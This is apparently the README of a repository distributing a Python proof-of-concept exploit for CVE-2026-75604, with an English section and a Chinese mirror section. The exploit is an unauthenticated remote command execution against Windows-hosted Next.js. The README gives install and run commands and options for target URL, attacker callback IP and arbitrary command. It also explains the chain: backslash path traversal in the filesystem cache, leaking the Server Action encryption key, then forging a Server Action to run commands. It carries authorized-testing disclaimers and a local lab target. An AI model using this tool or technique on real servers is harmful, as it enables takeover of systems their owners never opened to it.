hackspeak/cve-2026-75604Proof-of-concept exploit for CVE-2026-75604, an unauthenticated RCE in Windows-hosted Next.js via cache path traversal and forged Server Action, for authorized security testing.
Python proof of concept for CVE-2026-75604, an unauthenticated remote command execution vulnerability in Windows-hosted Next.js applications that use both the Pages Router and App Router without Cache Components.
>=13.4 <15.5.24 or >=16.0 <16.3.3Validated with [email protected].
python -m pip install -r requirements.txt
python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP --pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE --app-cache-path /PATH/TO/APP_CACHE_INSTANCE
The Server Action path defaults to /. Use --action-field when its form has more than one field.
Required arguments:
--target URL: base URL of the Next.js application--callback-ip ADDRESS: IPv4 address reachable by the target--pages-cache-path PATH: existing dynamic Pages Router ISR page--app-cache-path PATH: existing dynamic App Router page backed by the filesystem cacheOptional arguments:
--command COMMAND: command to execute; defaults to whoami--action-path PATH: App Router page containing the compatible Server Action; defaults to /--action-field NAME: form field consumed by the action; detected automatically when unambiguous--callback-port PORT: callback port; defaults to 4331--listen-address ADDRESS: local callback bind address; defaults to 0.0.0.0--timeout SECONDS: request and callback timeout; defaults to 20--insecure: disables TLS certificate verificationThe optional target/ application pins [email protected] and uses the standard Next.js production server:
cd target
npm ci
npm run build
npm start
Run the PoC in another terminal:
python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 --pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed
The optional target provides the required routes and a compatible Server Action on /.
This PoC is provided for educational purposes, security research, and authorized testing only. Use it only on systems you own or have explicit permission to test.
Credit to evolutionstorm.
This PoC was independently reconstructed from the public advisory and Next.js patch.
本仓库为 CVE-2026-75604 利用 PoC 的中转分发镜像(英文使用说明见上方上游原版 README)。内容由上游公开 PoC 镜像而来,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H>=13.4 <15.5.24、>=16.0 <16.3.315.5.24 / 16.3.3核心原理:FileSystemCache 在 Windows 上未把反斜杠(\)视为路径分隔符进行转义,攻击者可用 ..%5C 编码穿越缓存路径,读取私密文件 server-reference-manifest.json,泄露 Server Action 的 encryptionKey,再伪造闭包绑定 Server Action 请求执行任意命令。
python -m pip install -r requirements.txt(cryptography、requests)已在 [email protected] 上验证。
python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP \
--pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE \
--app-cache-path /PATH/TO/APP_CACHE_INSTANCE
| 参数 | 必填 | 说明 |
|---|---|---|
--target URL | 是 | Next.js 应用基础 URL |
--callback-ip ADDRESS | 是 | 目标可回连的 IPv4 地址 |
--pages-cache-path PATH | 是 | 已存在的动态 Pages Router ISR 页(穿越锚点) |
--app-cache-path PATH | 是 | 已存在的、走文件系统缓存的动态 App Router 页 |
--command COMMAND | 否 | 要执行的命令(默认 whoami) |
--action-path PATH | 否 | 含兼容 Server Action 的 App Router 页(默认 /) |
--action-field NAME | 否 | Action 表单消费的业务字段(唯一时自动检测) |
--callback-port PORT | 否 | 回连端口(默认 4331) |
--listen-address ADDRESS | 否 | 本地回调监听地址(默认 0.0.0.0) |
--timeout SECONDS | 否 | 请求与回调超时(默认 20) |
--insecure | 否 | 关闭 TLS 证书校验 |
仓库内 target/ 提供了可复现的示例应用(锁定 [email protected],标准生产服务器):
cd target
npm ci
npm run build
npm start
另开终端运行:
python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 \
--pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed
示例目标提供了所需路由与 / 上的兼容 Server Action。
本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的系统运行。利用会在目标 Windows 主机执行任意命令,请在可销毁环境中测试。
LICENSE)。